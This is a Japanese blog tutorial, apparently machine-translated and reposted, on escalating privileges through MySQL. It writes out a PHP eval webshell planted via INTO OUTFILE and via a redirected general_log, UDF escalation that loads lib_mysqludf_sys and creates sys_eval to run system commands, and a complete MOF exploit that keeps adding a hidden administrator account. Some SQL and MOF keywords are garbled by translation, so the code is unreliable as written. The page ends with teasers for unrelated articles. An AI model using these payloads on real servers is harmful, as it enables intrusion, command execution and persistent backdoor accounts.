1. Webshellを書く出力ファイルにシェルを書き込む前提条件: 1. ウェブサイトの物理的なパスを知る 2. 高い権限を持つデータベースユーザー 3. load_file() が有効になっている、つまり secure_file_priv は無制限である 4. ウェブサイトのパスに書き込み権限がある まず、基本構文は、secure_file_privに制限がないかどうかを問い合わせます。 '%secure_file_priv%' のようなグローバル変数を表示します。
MySQL 5.5 より前では、 secure_file_priv はデフォルトで空でした。この場合、任意の絶対パスにファイルを書き込むことができました。 MySQL 5.5 以降では、 secure_file_priv のデフォルトは NULL に設定され、その場合、ファイルを書き込むことはできません。 上記の条件がすべて満たされている場合は、次の SQL ステートメントを使用してシェルに直接書き込むことができます。 '<?php @eval($_POST[cmd]); ?>' を出力ファイル 'C:\\soft\\WWW\\empirecms\\shell.php' に選択します。 ターゲットパスを確認し、shell.phpファイルが書き込まれていることを確認します。 上部包丁接続部 ログファイル書き込みシェル前提条件: 1. Webフォルダの緩い権限が書き込まれる可能性がある 2. ウィンドウ 3. MySQLまたはApacheを高い権限で実行する MySQL 5.0以降ではログファイルが作成されますが、ログのグローバル変数をgetshellに変更することで変更できます。 ログディレクトリを表示する 'general%' のような変数を表示します。 general_log はデフォルトで無効になっています。有効にすると、ユーザーが入力したすべてのコマンドが記録され、対応するログ ファイルに保存されます。 ログファイルの場所の変更 グローバル general_log を "ON" に設定します。 グローバル general_log_file を 'C:\\soft\\WWW\\empirecms\\log.php' に設定します。 現在のログ構成を表示する ターゲットディレクトリを確認し、log.phpファイルを書き込みます シェルに書き込む '<?php @eval($_POST[cmd]); ?>' を選択します 包丁で接続する 2. UDF 権限昇格カスタム関数は、データベース機能の拡張です。ユーザーはカスタム関数を使用して、MySQL では簡単に実装できない関数を実装できます。新しく追加された関数は、ネイティブ関数 version() を呼び出すのと同じように、SQL ステートメントで呼び出すことができます。 ダイナミック リンク ライブラリ MySQL のバージョンが 5.1 以上の場合、カスタム関数を作成する前に、UDF ダイナミック リンク ライブラリ ファイルを MySQL インストール ディレクトリの下の lib\plugin フォルダに配置する必要があります。 では、ダイナミック リンク ライブラリ ファイルはどこにありますか?実際、私たちがよく使用するツールである sqlmap と Metasploit には、対応するシステム用のダイナミック リンク ライブラリ ファイルが付属しています。 sqlmap UDF ダイナミック リンク ライブラリ ファイルの場所
ただし、sqlmap に含まれるこれらのダイナミック リンク ライブラリは、誤って強制終了されることを防ぐためにコーディングされており、直接使用することはできません。ただし、sqlmap に付属するデコード ツール cloak.py を使用してデコードすることができます。cloak.py の場所は、sqlmap ルート ディレクトリ/extra/cloak/cloak.py です。 デコード方法は次のとおりです。 32 ビット Windows ダイナミック リンク ライブラリのデコード:
他のLinuxおよびWindowsのダイナミックリンクライブラリのデコードも同様です または、デコードせずにmetasploitに付属するダイナミックリンクライブラリを直接使用する Metasploit UDF ダイナミック リンク ライブラリ ファイルの場所 次のタスクは、UDF ダイナミック リンク ライブラリ ファイルを MySQL プラグイン ディレクトリに配置することです。このディレクトリを見つけるにはどうすればよいでしょうか?次の SQL ステートメントを使用してクエリを実行できます。 '%plugin%' のような変数を表示する ダイナミックリンクライブラリの書き込み secure_file_privが無制限の場合、プラグインディレクトリに手動でファイルを書き込むことができます。 load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') をダンプファイル 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll' に選択します。
カスタム関数を作成し、コマンドを呼び出す カスタム関数の作成 CREATE FUNCTION sys_eval は STRING SONAME 'udf.dll' を返します。 sys_evalが追加されているかどうかを確認する 次に、作成された関数を通じてシステム コマンドを実行できます。 カスタム関数の削除 関数 sys_eval を削除します。 3. MOF 権限昇格Mof 権限昇格原則 mof 権限昇格の原理は、実は非常に単純です。c:/windows/system32/wbem/mof/ ディレクトリの nullevt.mof ファイルを使用して、特定の時間に 1 分ごとに実行し、実行用の cmd コマンドを書き込みます。 厳格な前提条件: 1. Windows 03以下 2. mysqlの起動IDには、c:/windows/system32/wbem/mofディレクトリの読み取りと書き込みの権限があります。 3. secure-file-privパラメータがnullではない 権限昇格プロセス: MOF ファイルは 5 秒ごとに実行され、システム権限です。mysql を介して load_file を使用してファイルを /wbme/mof に書き込むと、システムはアップロードした MOF を 5 秒ごとに実行します。 MOF には vbs スクリプトがあります。この vbs スクリプトの内容を制御して、システムがコマンドを実行し、権限を昇格できるようにすることができます。 エクスプロイト コードは次のとおりです (test.mof): #pragma namespace("\\\\.\\root\\subscription") __EventFilter のインスタンスを $EventFilter として { イベント名前空間 = "Root\\Cimv2"; 名前 = "filtP2"; クエリ = "Select * From __InstanceModificationEvent" 「TargetInstance は \"Win32_LocalTime\" です」 「そして TargetInstance.Second = 5」; クエリ言語 = "WQL"; }; ActiveScriptEventConsumer のインスタンスを $Consumer として { 名前 = "consPCSV2"; スクリプトエンジン = "JScript"; スクリプトテキスト = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")"; }; __FilterToConsumerBinding のインスタンス { 消費者 = $Consumer; フィルター = $EventFilter; }; MOF ファイルの使用率: 上記のスクリプトを読み取りおよび書き込み権限のあるディレクトリにアップロードします。 ここではC:\soft\にアップロードし、SQL文を使用してファイルをc:/windows/system32/wbem/mof/にインポートします。
権限昇格を確認します。 mof のエクスポートに成功すると、mof が直接実行され、5 秒ごとにユーザーが作成されます。 MOF権限昇格のデメリットについて 権限の昇格に成功した後、アカウントが削除されたとしても、mof は 5 秒以内に元のアカウントを再構築します。これにより、テストを終了するのに大きな問題が発生するため、注意して使用してください。では、ハッキングされたアカウントを削除するにはどうすればいいのでしょうか? cmd で次のステートメントを実行します。 #winmgmt サービスを停止します net stop winmgmt #リポジトリフォルダを削除します rmdir /s /q C:\Windows\system32\wbem\Repository\ # mof ファイルを手動で削除します del c:/windows/system32/wbem/mof/nullevt.mof /F /S # 作成したユーザーを削除する net user hpdoger /delete #サービスを再起動しますnet start winmgmt 要約するこれで、MySQL 権限昇格手法に関するこの記事は終了です。MySQL 権限昇格手法の詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。 以下もご興味があるかもしれません:
|
<<: モバイル適応型ウェブページ効果は、小さな表示ページの問題を解決します
降順インデックスとは何ですか?インデックスについてはよくご存知かもしれませんが、降順インデックスにつ...
序文動的プロキシの原理を説明する前に、まず、mybatis を統合した後の dao 層の 2 つの実...
最近、センタリングの問題に数多く遭遇したので、後で簡単に見つけられるように、時間をかけてそれらを要約...
テーブルの背景画像を設定します。任意の GIF または JPEG 画像ファイルを使用できます。基本的...
ネットワークポートの公開実際、Docker にはネットワーク ポートの公開に関わる 2 つのパラメー...
1. はじめに最近、 Webpackの原理を勉強しています。これまでは Webpack の設定方法し...
目次1. オプションとは何ですか? 2. 含まれる属性3. エントリー属性エルデータ方法コンポーネン...
zhangxinxu より https://www.zhangxinxu.com/wordpress...
序文最近、MySQL 5.7 をインストールしましたが、問題が見つかりました。コマンド ライン ウィ...
今日のキャンパス採用筆記試験では、固定された最初の行と最初の列を実装し、幅をウィンドウの変更に適応さ...
説明する: fuser は、現在ディスク上のファイル、マウント ポイント、さらにはネットワーク ポー...
Docker を使用して MySQL イメージをプルしようとして 30 分経っても失敗したため、代わ...
SQL JOIN 句は、テーブル間の共通フィールドに基づいて 2 つ以上のテーブルの行を結合するため...
docker exec コマンドは、実行中のコンテナ内でコマンドを実行できます。 docker ex...
1. 絶対配置レイヤーの隣接フローティング レイヤーの幅が親レイヤーの幅と等しくなく、フロートがクリ...